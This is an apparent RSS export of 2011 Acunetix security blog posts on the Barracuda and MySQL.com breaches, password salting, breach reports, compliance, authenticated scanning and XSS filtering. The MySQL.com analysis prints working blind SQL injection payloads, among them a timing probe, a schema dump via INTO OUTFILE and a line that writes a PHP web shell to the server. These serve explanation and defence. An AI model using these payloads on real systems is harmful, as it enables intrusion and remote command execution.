<p>The following passwords were extracted from the main mySQL database itself and contains users who have system-level privileges some which are tied down to particular servers and some which grant access to all servers on the network. This database contains 23 users.</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/05/c_new_barracuda4.png"><img class="size-full wp-image-3325 aligncenter" src="http://www.acunetix.com/blog/wp-content/uploads/2011/05/c_new_barracuda4.png" alt="" width="500" height="396" /></a></p>
<p>The users below were extracted from another database and contains user names, passwords and email addresses of Barracuda employees, possibly those who had access to the web help-desk system.</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/05/c_new_barracuda5.png"><img class="size-full wp-image-3324 aligncenter" src="http://www.acunetix.com/blog/wp-content/uploads/2011/05/c_new_barracuda5.png" alt="" width="500" height="257" /></a></p>
<p>As you can see from the above tables, none of the passwords were stored in clear-text. Barracuda attempted to downplay the importance of these hashes by saying that they were salted, however upon closer inspection I found this claim to be unfounded.</p>
<p>Take a look at the main mySQL table. It contains duplicate hashes which not only shows that the administrator was using the same passwords for different accounts, but also shows that salting did not take place, or did not take place properly. Salting should append a different value to every password before it is hashed therefore making each of the hashes unique which is clearly not the case here.</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/05/dupe_new_barracuda4.png"><img class="size-full wp-image-3323 aligncenter" src="http://www.acunetix.com/blog/wp-content/uploads/2011/05/dupe_new_barracuda4.png" alt="" width="379" height="142" /></a></p>
<p>After looking at this, I decided to try a rainbow table attack on some of the hashes. A rainbow table attack is very simple; huge lists of precomputed hashes are obtained (Google is your friend) and a simple text search is done within them. The crudest way of doing this is to simply paste the hash into Google and if you are lucky, you will come up with a match. Salting makes this trivial attack useless, so if the passwords were salted I would not have been successful.</p>
<p>For this test I took the hashes from the help-desk administrators table, below are some of the results:</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/05/zombie_hash.png"><img class="size-full wp-image-3322 aligncenter" src="http://www.acunetix.com/blog/wp-content/uploads/2011/05/zombie_hash.png" alt="" width="529" height="164" /></a></p>
<p>The password above, which took less than half a second to crack is “zombie”, hardly a safe password. The result below makes me want to cry.</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/05/password_hash.png"><img class="size-full wp-image-3321 aligncenter" src="http://www.acunetix.com/blog/wp-content/uploads/2011/05/password_hash.png" alt="" width="519" height="183" /></a></p>
<p>You are not seeing it incorrectly. It really does say that this password is “password”, the least secure password thatcan ever be used. How can Barracuda Networks risk such embarrassment?</p>
<p>Some other passwords were not as easy to crack, however I succeeded anyway after enlisting my Romanian friends who helped me brute-force some of the stronger passwords.</p>
<p>Below are some of the results after about 50 hours of brute-force cracking. These hashes come from different databases that were breached during the attack.</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/05/cracked_passwords.png"><img class="size-full wp-image-3320 aligncenter" src="http://www.acunetix.com/blog/wp-content/uploads/2011/05/cracked_passwords.png" alt="" width="517" height="422" /></a></p>
<p>Needless to say, these passwords were not strong enough to withstand a brute-force attack and contrary to Barracuda’s false claims, they were obviously not salted either.</p>
<h2>Lessons Learned</h2>
<p>In a blog post to the Barracuda Labs security blog Micheal (Mike) Perone listed a few lessons that his team learned after the breach. In summary, they are:</p>
<p>You can’t leave a Web site exposed nowadays for even a day (or less).</p>
<p>Code vulnerabilities can happen in places far away from the data you’re trying to protect.</p>
<p>You can’t be complacent about coding practices, operations or even the lack of private data on your site – even when you have WAF technology deployed.</p>
<p>The first two lessons are trivial and probably show the naivety of Barracuda staff. A website cannot be exposed even for a few seconds, let alone a day! Furthermore, in this globalised and networked world, “places far away” can never be more than a few milliseconds apart.</p>
<p>I do applaud Mike on his third point. WAF technology is not enough. It should never be considered to be the only line of defence. At best a WAF will mitigate the risk of attacks, and if configured properly can reduce the load on your web servers. At worst (as in this breach), a WAF can fool you into thinking that you are safe enough, and therefore deeper tests such as code reviews and scans performed by a <a title="Web Vulnearbility Scanner" href="http://www.acunetix.com/vulnerability-scanner/">web vulnerability scanner</a> might be neglected. This leaves your web application exposed to threats, and should the WAF fail, vulnerabilities will stick out like a sore thumb.</p>
<p>In addition to the lessons learned, I would also like to add a few of my own. Hopefully someone working at Barracuda will be humble enough to listen to me and learn something.</p>
<p>Be honest. Credibility with your customers is important, and your customers are not fools. After a breach like this Barracuda should have never made false claims that could be refuted using a simple Google search.</p>
<p>Salt your passwords. Really. Do not just wish or pretend you did. Salting is easy, recommended by everyone and extremely effective in mitigating attacks. It will also save you a whole lot of embarrassment when your administrator uses passwords like “zombie” and “password”.</p>
<p>Have a password policy in place. Do not allow easily guessable passwords to be the weak link in your chain of security. Password policies are easy to enforce through software and although are a nuisance to your users they remain a necessary evil.</p>
<p>Use a vulnerability scanner. Do not hide behind a Web Application Firewall. Scan your networks instead and identify bugs in your web applications. When you expose yourself you inevitably tend to protect yourself better.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/news/barracuda-networks-breached/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Low-Hanging Fruit Becomes Big News with the 2011 Verizon Data Breach Report</title>
		<link>http://www.acunetix.com/blog/web-security-zone/articles/verizon-data-breach/</link>
		<comments>http://www.acunetix.com/blog/web-security-zone/articles/verizon-data-breach/#comments</comments>
		<pubDate>Tue, 03 May 2011 13:19:18 +0000</pubDate>
		<dc:creator>Kevin Beaver</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[application security]]></category>
		<category><![CDATA[data breaches]]></category>
		<category><![CDATA[kevin beaver]]></category>
		<category><![CDATA[web security testing]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=3250</guid>
		<description><![CDATA[The 2011 Verizon Data Breach Investigations Report is out. Yeah, yeah, yeah &#8211; yet another report telling us what a bad state of security we&#8217;re in and that we need to fix all sorts of ...]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-3280" title="Verizon" src="http://www.acunetix.com/blog/wp-content/uploads/2011/05/verizon.jpg" alt="Verizon" width="187" height="130" />The 2011 Verizon Data Breach Investigations Report is out. Yeah, yeah, yeah &#8211; yet another report telling us what a bad state of security we&#8217;re in and that we need to fix all sorts of things in IT. Okay, I&#8217;m not going to complain too much because it does help generate business and keep us all employed. But there&#8217;s one thing in particular that stands out in this year&#8217;s report that I want to bring up. It&#8217;s something that I&#8217;ve been ranting, evangelizing and sometimes yelling at the top of my lungs about for years. It’s the fact that the bad guys are targeting low-hanging fruit. In other words, the hackers and malicious insiders are exploiting the obvious security flaws that harried network admins and security managers are overlooking.<span id="more-3250"></span></p>
<blockquote><p>According to the report:<br />
“<em>Unfortunately, breaching organizations still doesn’t typically require highly sophisticated attacks, most victims are a target of opportunity rather than choice, the majority of data is stolen from servers, victims usually don’t know about their breach until a third party notifies them, and almost all breaches are avoidable (at least in hindsight) without difficult or expensive corrective action.”<br />
</em></p></blockquote>
<p>The thing is <a title="Security can't see the forest through the trees" href="http://www.acunetix.com/blog/web-security-zone/articles/twitter-onmouseover-flaw/" target="_blank">so many people get so deep into the technical minutiae</a> that they end up overlooking the all too obvious flaws. And why wouldn’t the bad guys go after these basics…? They’re everywhere! Not a single security assessment goes by where I don&#8217;t find glaring weaknesses in/around the basics of information and application security. I suppose this is one of the reasons why independent information security assessments and audits are so popular. People like myself – including many users of Acunetix Web Vulnerability Scanner – can come in with a fresh perspective and go about finding security vulnerabilities in an unbiased manner. It’s a way around the problem of not being able to see the forest through the trees.</p>
<p>This still doesn&#8217;t really explain why so many of us can&#8217;t get our arms around the essentials. Is it lack of management support? Not having developers on your side? General apathy?  There’s an array of factors and almost every situation is different. What I do know is that you <strong>have </strong>to focus your efforts on <em>stopping the bleeding first</em>. It&#8217;s the concept of basic triage that first responders around the world use to focus on their highest payoff tasks. Go for the low-hanging fruit &#8211; the quick-fix items &#8211; that are going to provide a lot of payoff for your security efforts and investment. Once you get your arms around the basics <em>then </em>you go about drilling down and tightening things up in more niche areas.</p>
<p>On a side note, there are people out there who believe that Web vulnerability scanners  such as <a title="Acunetix Web Vulnerability Scanner" href="http://www.acunetix.com/vulnerability-scanner/">Acunetix Web Vulnerability Scanner</a> aren&#8217;t &#8220;good enough&#8221; because all they focus on is the low-hanging fruit. Maybe this is true to an extent if all you do is rely on the results of an automated scan and nothing else. However, by and large, these tools are getting much, much better at finding more complex application security issues. One thing&#8217;s for sure, if you don&#8217;t use an automated Web vulnerability scanner you&#8217;re going to overlook a ton of stuff. There&#8217;s just not enough time or expertise available to find every single thing that counts in a manual fashion. Sure, I&#8217;ll continue to <a title="Dangers of skipping manual vulnerability testing" href="http://securityonwheels.blogspot.com/2011/03/skipping-manual-vulnerability-analysis.html" target="_blank">rant about people relying on automated scanners and not doing their due diligence with manual analysis</a>, but since so many obvious issues are <em>still </em>being overlooked we have to use automated scanners to find where we&#8217;re bleeding.</p>
<p>In the end you have to do what&#8217;s best for <em>your </em>business given <em>your </em>unique situation.</p>
<p>Consider doing this: for the next six months, forget about what the security analysts are saying, ignore what the security researchers are &#8216;sploitin and don&#8217;t buy into the scare tactics that many of the vendors are selling. Instead focus on the information security basics &#8211; the obvious flaws that need to be fixed now. Use your vulnerability scanners, tighten up the security essentials and see what happens. Just do it for six months, maybe until the end of the year. If you do this &#8211; and stick with it &#8211; I <em>guarantee </em>you that you&#8217;ll make HUGE strides in your information security program and greatly decrease the chances that your business will end up as a statistic in the <em>2012</em> Verizon Data Breach report.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/web-security-zone/articles/verizon-data-breach/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>But Compliance is Someone Else’s Job!</title>
		<link>http://www.acunetix.com/blog/web-security-zone/articles/it-compliance/</link>
		<comments>http://www.acunetix.com/blog/web-security-zone/articles/it-compliance/#comments</comments>
		<pubDate>Thu, 28 Apr 2011 13:39:37 +0000</pubDate>
		<dc:creator>Kevin Beaver</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[application security]]></category>
		<category><![CDATA[compliance]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=3193</guid>
		<description><![CDATA[Regulatory &#8216;compliance&#8217; – it’s a dirty word in business today. Perhaps that’s because we’re being force-fed more and more rules that various governing bodies believe are the best ways for us to run our businesses. ...]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-3246" title="compliance" src="http://www.acunetix.com/blog/wp-content/uploads/2011/04/compliance.jpg" alt="IT Compliance" width="210" height="142" />Regulatory &#8216;compliance&#8217; – it’s a dirty word in business today. Perhaps that’s because we’re being force-fed more and more rules that various governing bodies believe are the best ways for us to run our businesses. Regardless of what side of the government growth – and IT governance – equation you’re on, IT compliance is here to stay. It’s up to you to figure out to how make it work best for your business.<span id="more-3193"></span></p>
<p>An interesting thing I’m seeing related to application security is that compliance is often overlooked, sometimes completely ignored. Be it in the SDLC, pen testing, product marketing, customer service – you name it – discussions about compliance just aren’t taking place the way they should be. The thing is, when we get caught up in our own world of application security and nothing else, it’s hard to see the bigger picture. That is the good, the bad and the ugly of what the business is truly facing in terms of IT overall. It’s easy to hide under the appsec umbrella and deal with all things technical while someone else at a much higher level can figure out all that compliance junk. At least we <em>think </em>someone’s handling it.</p>
<p>Many developers I work with aren’t in tune with compliance regulations whatsoever. Okay, maybe <a title="Meeting PCI DSS requirements with Acunetix Web Vulnerability Scanner" href="http://www.acunetix.com/blog/docs/meeting-pci-dss-requirements-with-acunetix/">PCI DSS</a>. But mention HIPAA, HITECH, GLBA and so on and there’s rarely a connection. The same goes for many DBAs and network administrators. Even certain IT managers are out of the compliance loop. Is the lack of compliance insight the fault of each and every one of these people? Not really, at least to an extent. I do think there’s a level of personal accountability required but no amount of it is going to compensate for a lack of support from the top.</p>
<p>It’s as simple as this: if you don’t have all the right people in your business doing everything that’s needed for compliance then you’re going to have compliance gaps. It’s like getting a plane off the ground. The gate agents, pilots, ground crew and even the people responsible for snacks and cleaning the lavatories <em>all </em>have to pull their weight to ensure everything’s in check and the flight will be successful. Be it for an airplane or for IT compliance, if one single person doesn’t do everything in his or her power to do all he or she needs to do then it’s simply a matter of time before something happens.</p>
<p>Compliance complacency in and around application security provides some interesting insight into the state of security today. Do what you can to get the right people on board and make things happen. Especially avoid the situation where any one of your key employees or contractors is not carrying his own weight, working by the mantra “<em>That’s someone else’s job.</em>” Everyone involved with application security is somehow responsible for compliance. Developers, network administrators, pen testers, DBAs, product managers, QA professionals…<span style="text-decoration: underline;">everyone</span>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/web-security-zone/articles/it-compliance/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MySQL.com Victim of SQL Injection Attack</title>
		<link>http://www.acunetix.com/blog/web-security-zone/articles/mysql-com-victim-of-sql-injection/</link>
		<comments>http://www.acunetix.com/blog/web-security-zone/articles/mysql-com-victim-of-sql-injection/#comments</comments>
		<pubDate>Wed, 20 Apr 2011 13:54:41 +0000</pubDate>
		<dc:creator>Jeremy Pullicino</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[vulnerabilities]]></category>
		<category><![CDATA[web security]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=3220</guid>
		<description><![CDATA[Introduction
On 27th March 2011 a message was posted on the popular Full Disclosure mailing list exposing a recent hack against the website mysql.com. This vulnerability was apparently also reported by a hacker called TinKode, who ...]]></description>
			<content:encoded><![CDATA[<h2>Introduction</h2>
<p>On 27th March 2011 a message was posted on the popular Full Disclosure mailing list exposing a recent hack against the website mysql.com. This vulnerability was apparently also reported by a hacker called TinKode, who also claims to have found a <a title="What is Cross Site Scripting?" href="http://www.acunetix.com/websitesecurity/cross-site-scripting.htm" target="_blank">cross site scripting</a> attack on the same web site in January.</p>
<p>SQL Injection attacks are very popular. Some reports state that they constitute over 20% of all types of attacks against websites. On the other hand, the technology behind MySQL is very robust and has been tested by millions of users worldwide. It has a good reputation and also offers some protection against Injection attacks.</p>
<p>In this article I analyze how the attack happened. I try to pinpoint where the vulnerability lies so that web application developers can be more aware and more careful about how they build their sites.<span id="more-3220"></span></p>
<h2>The SQL Injection Process</h2>
<p>An SQL Injection attack is executed in three phases. In the first phase, the attacker launches a series of probes, or scans against his target. These scans are testing for any known SQL Injection weakness. They typically work by sending intentionally malformed user data to the server and analysing error responses from the web application. Certain error responses pinpoint vulnerabilities, whilst others reveal important information which is used to further refine the scans. Once the attacker is satisfied, he can launch his attack.</p>
<p>The process is shown in the following diagram:</p>
<p style="text-align: center"><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/04/sql1.png"><img class="aligncenter size-large wp-image-3223" src="http://www.acunetix.com/blog/wp-content/uploads/2011/04/sql1-99x300.png" alt="" width="99" height="300" /></a></p>
<p>Depending on the vulnerabilities found the hacker will employ different methods to perform the injection. His methods will depend on the SQL server in use and how the web application is coded. These exact methods are not within the scope of this article, however a good article on the full details of SQL Injection attacks can be found here: <a href="http://www.acunetix.com/websitesecurity/sql-injection2.htm" target="_blank">How to check for SQL injection vulnerabilities</a></p>
<h2>Anatomy of the Hack</h2>
<p>The hackers revealed enough information to prove that the break was genuine but they have been rather quiet about the exact sequence of events that constituted the attack. They did, however, point us to their entry point which is:</p>
<p><code>http://mysql.com/customers/view/index.html?id=1170</code></p>
<p>Upon inspection, this URL points to the “Customers View” part of the website that enables web visitors to browse through the profiles of MySQL’s more prominent customers.</p>
<p>As you can see from the URL above, a single parameter called “id” is passed to this module. This parameter, which is of numeric type, identifies a customer. Customer ID 1170, corresponds to a company called Cinnober as can be seen in the screen shot below.</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/04/sql2.png"><img class="size-medium wp-image-3224 aligncenter" src="http://www.acunetix.com/blog/wp-content/uploads/2011/04/sql2-300x242.png" alt="" width="300" height="242" /></a></p>
<p>Interesting to note that if a different ID is passed, a different customer profile is displayed. For example, executing the request index.html?id=1171 results in the Quora customer profile being displayed. This is not a serious security vulnerability in itself, however allowing visitors to enumerate the web page in this way does raise some eyebrows in the security community.</p>
<p>In a message to the popular security mailing list Full Disclosure, the hackers revealed some more interesting details:</p>
<p><code>Host IP              :   213.136.52.29<br />
Web Server           :   Apache/2.2.15 (Fedora)<br />
Powered-by           :   PHP/5.2.13<br />
Injection Type       :   MySQL Blind</code></p>
<p>This information identifies the server IP address, the operating system and web server names and versions, the version of PHP used by the module and most importantly the Injection Type, which they claim to be “MySQL Blind.”</p>
<p>Earlier in the article I explained the main concepts of an SQL Injection attack. The first step of these attacks is to identify the vulnerability. The hacker does this by probing the web application until certain error conditions are met. These errors point out vulnerable points that could be exploited.</p>
<p>In a blind attack the web application does not reveal any information about the errors, therefore traditional probing methods are ineffective. This does not mean that there are no vulnerabilities, but it does make the existing ones much harder to find.</p>
<p>In this case the hacker was skilled enough to use alternative information gathering methods. One popular method used in Blind Injections is the Timing Attack. Using this method, the attacker puts a benchmark timer into the injected payload. This allows the him to accurately measure the amount of time that the payload takes to execute. Using this timing information the hacker can glean an important insight into the structure of the database including the database names and table names, which are instrumental in a successful SQL Injection attack.</p>
<p>The following example explains how the SQL BENCHMARK() function can be used in such an attack.</p>
<p><code>1170 UNION SELECT IF(SUBSTRING(current,1,1) = CHAR(119),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM (Select Database() as current) as tbl;</code></p>
<p>The code above tests whether the first letter of the database name CHAR 119 (lowercase letter w). If the server response takes a long time it means that the current database starts with ‘w’. If the time is short then another letter is tested. This method is rather crude and takes some fine-tuning from the part of the hacker, but in this case it was successfully exploited to reveal the entire list of database names and their tables.</p>
<p>If the first phase of the attack is successful a new set of possible attack vectors are opened up. A hacker would first want to get more information about the environment that he is operating in. He could do that by issuing the following command:</p>
<p><code>1170 UNION SELECT IF(SUBSTRING(version(),1,1) = CHAR(119),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null)</code></p>
<p>This command will give the hacker the MySQL database version. Other functions can be used to gather more information, some of the more interesting ones are:</p>
<p><code>database() - the name of the database currently connected to.<br />
system_user() - the system user for the database.<br />
current_user() - the current user who is logged in to the database.<br />
last_insert_id() - the transaction ID of the last insert operation on the database.</code></p>
<p>If current_user() has the correct write permissions, the hacker will proceed to dump out some more information to a file on the server. This will facilitate the data retrieval later on.</p>
<p><code>1170 Union All SELECT table_name, table_type, engine FROM information_schema.tables WHERE table_schema = 'mysql’ ORDER BY table_name DESC INTO OUTFILE '/path/location/on/server/www/schema.txt'</code></p>
<p>The command above, if successful will dump the entire database schema into a file called schema.txt which is accessible from the root folder of the website. The only caveat of this command is that it requires knowledge of the directory structure of the server. Sometimes this can be guessed since most system administrators use default settings. Other times it is revealed though over enthusiastic error reporting, or other more subtle bugs in the application code.</p>
<p>Once a hacker knows an injection entry point he can also penetrate deeper. The following command will give the hacker his own shell, opening a whole new set of possibilities for him.</p>
<p><code>1170 UNION SELECT "&lt;? system($_REQUEST['cmd']); ?&gt;",2,3,4 INTO OUTFILE "/var/www/html/temp/c.php" --</code></p>
<p>These are just a few techniques of blind injection that could have been used against a MySQL database. To break into MySQL.com the hacker must have employed commands very similar to these. The next section reveals some of the information that the hackers scraped from their website. This includes the entire database schema as well as the contents of some of the database tables, namely the ones that contain user names and passwords.</p>
<h2>Damage Report</h2>
<p>The hackers claim to have hacked the following mysql domains: www.mysql.com, www.mysql.fr, www.mysql.de, www.mysql.it, www-jp.mysql.com. These web sites are all very similar, in fact they appear to be running identical web applications, but in different languages. They are also connecting to the same database, or an exact replica of it. A quick visit to the vulnerable URL, but with the .com changed to .de reveals the same result but in the German language:</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/04/sql3.png"><img class="alignleft size-medium wp-image-3225" src="http://www.acunetix.com/blog/wp-content/uploads/2011/04/sql3-300x175.png" alt="" width="300" height="175" /></a></p>
<p>Of greater relevance is the number of exposed databases. The hackers list 46 different databases, some of them trivial with names like “test” but others look more interesting; customer, partners, wordpress and phorum5.</p>
<p>The databases “customer” and “partner” are probably used to feed the CMS for the website itself, so they would not contain any confidential information. The “wordpress” database might reveal some interesting data. The database called “phorum5” is very interesting because this name is used as the password for two database users; “mysqlforge” and “sys”.</p>
<p>Amongst the leaked accounts is the user name and password of Robin Schumacher who is the director of Product Management at MySQL. The passwords were all encrypted, however many of them were easily cracked. For example, Robin’s password, which granted administrative rights consisted simply of four digits. This looks a lot like a credit card PIN or a voicemail password. This user was not alone &#8211; many other accounts had short or simple passwords, indicating that a lax password policy was in place on the site.</p>
<h2>Lessons Learned</h2>
<p>The MySQL database is an integral part of many platforms. It drives popular platforms like Joomla, Drupal and WordPress. It’s customers span from open source projects to financial and government institutions and the largest websites like Wikipedia and Facebook use it for their back-end. For MySQL, a security incident like this is a big embarrassment which can affect their credibility amongst customers.</p>
<p>Pinpointing the exact location of the bug is tricky due to a lack of detailed information, however SQL Injection attacks are almost always blamed on programming errors in the web application layer, and not inside the database technology itself.</p>
<p>Blocking all SQL Injection attacks can be challenging, however there are some safeguards that should always be in place. For example, all user input should always be escaped. Escaping is a very effective way of stopping SQL Injection attacks and is supported on many platforms. PHP supplies a function mysql_real_escape_string()  which should be used for all SQL queries that could include injection code. Many programmers block SQL Injection attacks by using bind variables, or parametrized SQL statements. This technique avoids the use of string concatenation to build SQL statements and therefore effectively blocks any kind of injection escaping though.</p>
<p>A more secure password policy could have quite possibly minimized the damage by slowing down the hackers, or even preventing them from penetrating further. Passwords should have also been salted, making them much more resilient to brute force attacks. Salting involves adding some random bits to the end of a password when it is hashed, greatly reduces the odds of successfully guessing a password during a brute force and makes them less vulnerable to rainbow table attacks.</p>
<p>Lastly, regular scans for common vulnerabilities should be critical part of your security policy. Websites are constantly being updated with new code and applications in order to keep up with the increasing demands for change on the World Wide Web. Testing for security needs to be automated wherever possible. Testing should also be done with trusted tools that get updated frequently. Security is a cat and mouse game. The hackers are always finding new ways to escape and you need to keep yourself one step ahead in order to win the game.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/web-security-zone/articles/mysql-com-victim-of-sql-injection/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Don’t Overlook the Importance of Authenticated Testing</title>
		<link>http://www.acunetix.com/blog/web-security-zone/articles/important-authenticated-testing/</link>
		<comments>http://www.acunetix.com/blog/web-security-zone/articles/important-authenticated-testing/#comments</comments>
		<pubDate>Thu, 31 Mar 2011 14:47:38 +0000</pubDate>
		<dc:creator>Kevin Beaver</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[automated scanner]]></category>
		<category><![CDATA[kevin beaver]]></category>
		<category><![CDATA[web application security]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=3160</guid>
		<description><![CDATA[Would you want to rely a home inspector’s analysis of just the outside of a new home you’re considering for purchase? What about a lab tech only running a partial CT scan or the radiologist ...]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/03/Login-sequence.png"><img class="alignleft size-full wp-image-3170" title="Acunetix Login Sequence Recorder" src="http://www.acunetix.com/blog/wp-content/uploads/2011/03/Login-sequence.png" alt="Acunetix Login Sequence Recorder" width="382" height="297" /></a>Would you want to rely a home inspector’s analysis of just the <em>outside </em>of a new home you’re considering for purchase? What about a lab tech only running a <em>partial </em>CT scan or the radiologist analyzing only <em>part </em>of your MRI when your health is on the line? Well, personal finance and livelihood aside, you’re doing the same thing if you’re only testing your Web applications from an outsider’s perspective. If you’re going to find everything that matters you have to test your applications as both an untrusted outsider as well as a trusted user.<span id="more-3160"></span></p>
<p>Interestingly, I often see people running unauthenticated scans because they just want a quick view of what “the bad guys” can see and exploit. This is often done in the name of a business partner request or compliance checkbox. What they’re overlooking though is the fact that external attackers may already have access to user credentials. Be it credentials that have been gleaned from things such as wireless network sniffing, a lost/stolen laptop or smartphone, or password cracking against the application itself, the vulnerabilities may well be there waiting for someone with ill intent to exploit.</p>
<p>By vulnerabilities, I mean things such as:<br />
•    <a title="What is XSS?" href="http://www.acunetix.com/websitesecurity/cross-site-scripting.htm" target="_blank">XSS</a><br />
•    <a title="SQL Injection" href="http://www.acunetix.com/websitesecurity/sql-injection.htm" target="_blank">SQL injection</a><br />
•    CSRF<br />
•    Application logic flaws<br />
•    Login mechanism flaws (including flaws related to intruder lockouts, privilege escalation and multi-factor authentication)</p>
<p>Sure, if a user (or external attacker) has login credentials into the application, it can be argued that anything’s fair game. That’s not always the case, especially when it comes to user accounts with lower privileges. Standard user accounts often have limited rights in and around the application – that is until you find a big vulnerability like the ones I’ve listed above.</p>
<p>It’s not always reasonable, but to the extent possible you really should run your scans using login credentials at all user role levels. If it’s not practical then at least run your scans using a login account that’s representative of most users as well as an administrator-level user and expand out from there. You’ll likely be surprised at what you find – especially when it comes to cloud-based applications running in a multi-tenancy configuration. It can get ugly in a hurry.</p>
<p>One important thing to keep in mind when running authenticated scans is: how do you know your authentication worked and that all the necessary pages were crawled and tested? Furthermore, what if the authentication worked but the user account was locked or the application threw an exception during the scan and didn&#8217;t allow the scan to complete? Everything may have looked “normal” but you could have a false sense of security if everything wasn’t tested.</p>
<p>Sure, manual analysis is critical here but you cannot rely on that alone to crawl and test every single page for every possible flaw. A combined approach is the best method. You still need to ensure that your authenticated crawls and scans are working. The reality is when performing an authenticated scan there’s an  assumption that everything has been tested. Just know that’s not always  the case so make sure you have the right people on board (i.e.  developers and QA staff) to help review your scan results and ensure  that you’ve poked and prodded in all the right areas.</p>
<p>Another thing regarding authenticated scans, form-based login pages can be a real pain. I’ve found that some tools are better at recording and executing login macros than others. Regardless, seat time is one of the best ways to ensure your authentication is working. That is, using your scanner as much as possible (even on vendor test sites) and getting to know and understand the nuances of how it behaves when recording and running login macros.</p>
<p>So, test <em>with </em>authentication. Unless and until you do there’s no true way to know for sure what’s there for the taking.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/web-security-zone/articles/important-authenticated-testing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Preventing XSS Attacks</title>
		<link>http://www.acunetix.com/blog/web-security-zone/articles/preventing-xss-attacks/</link>
		<comments>http://www.acunetix.com/blog/web-security-zone/articles/preventing-xss-attacks/#comments</comments>
		<pubDate>Tue, 22 Mar 2011 15:24:39 +0000</pubDate>
		<dc:creator>Jeremy Pullicino</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[cross site scripting]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[prevention]]></category>
		<category><![CDATA[web security]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=2897</guid>
		<description><![CDATA[Cross Site Scripting (XSS) attacks are amongst the most common types of attacks against web applications. XSS attacks all fall under the same category however a more detailed look at the techniques employed during XSS ...]]></description>
			<content:encoded><![CDATA[<p>Cross Site Scripting (XSS) attacks are amongst the most common types of attacks against web applications. XSS attacks all fall under the same category however a more detailed look at the techniques employed during XSS operations reveals a multitude of tactics that exploit a variety of attack vectors. A detailed look at XSS attacks can be found in the following article; <a href="http://www.acunetix.com/websitesecurity/cross-site-scripting.htm" target="_self">Cross-Site Scripting attack</a>.</p>
<p>This article guides you through the most common and useful XSS prevention mechanisms which are Filtering and Escaping.</p>
<p><span id="more-2897"></span></p>
<h2>Filtering for XSS</h2>
<p>All XSS attacks infect your web site via some form of User Input. XSS attack code could come from a simple &lt;FORM&gt; submitted by your users, or could take a more complex route such as a JSON script, XML web service or even an exploited cookie. In all cases the web developer should be aware that the data is coming from an external source and therefore must not be trusted.</p>
<p>The simplest and arguably the easiest form of XSS protection would be to pass all external data through a filter which will remove dangerous keywords, such as the infamous &lt;SCRIPT&gt; tag, JavaScript commands, CSS styles and other dangerous HTML markup (such as those that contain event handlers.)</p>
<p>Many web developers choose to implement their own filtering mechanisms; they usually write server-side code (in PHP, ASP, or some other web-enabled development language) to search for keywords and replace them with empty strings. I have seen lots of code that makes use of Regular Expressions to do this filtering and replacing. This technique is in itself not a bad one, however unfortunately the hackers usually have more experience than the web developers, and often manage to circumvent simple filters by using techniques such as hex encoding, unicode character variations, line breaks and null characters in strings. These techniques must all be catered for and that is why it is recommended to use some sort of library that has been tried and tested by the community at large.</p>
<p>Many libraries exist to choose from, and your choice will primarily depend on the backend technology that your web server uses. What is important is that you choose a library that is regularly maintained by a reliable source. XSS techniques keep changing and new ones emerge all the time so your filters will need to be updated periodically to keep abreast with the changing attacks.</p>
<p>If you are using Java, then a good place to go is XSS Protect, a project hosted on Google code. It claims to filter all &#8220;known&#8221; XSS attacks from HTML code. PHP boasts a more comprehensive library called HTML Purifier which licensed as Open Source and can be customised depending on your needs. HTML Purifier also boasts strict standards compliance and better features than other filters.</p>
<p>Another interesting library you can use is HTML Markdown which converts text from your users into standard and clean XHTML. This gives the advantage that minimal HTML Markup can exist in your user&#8217;s input (such as bold, underline and colours). HTML Markdown is a Perl library and does not explicitly advertise XSS prevention features so it probably should not be your only line of defence.</p>
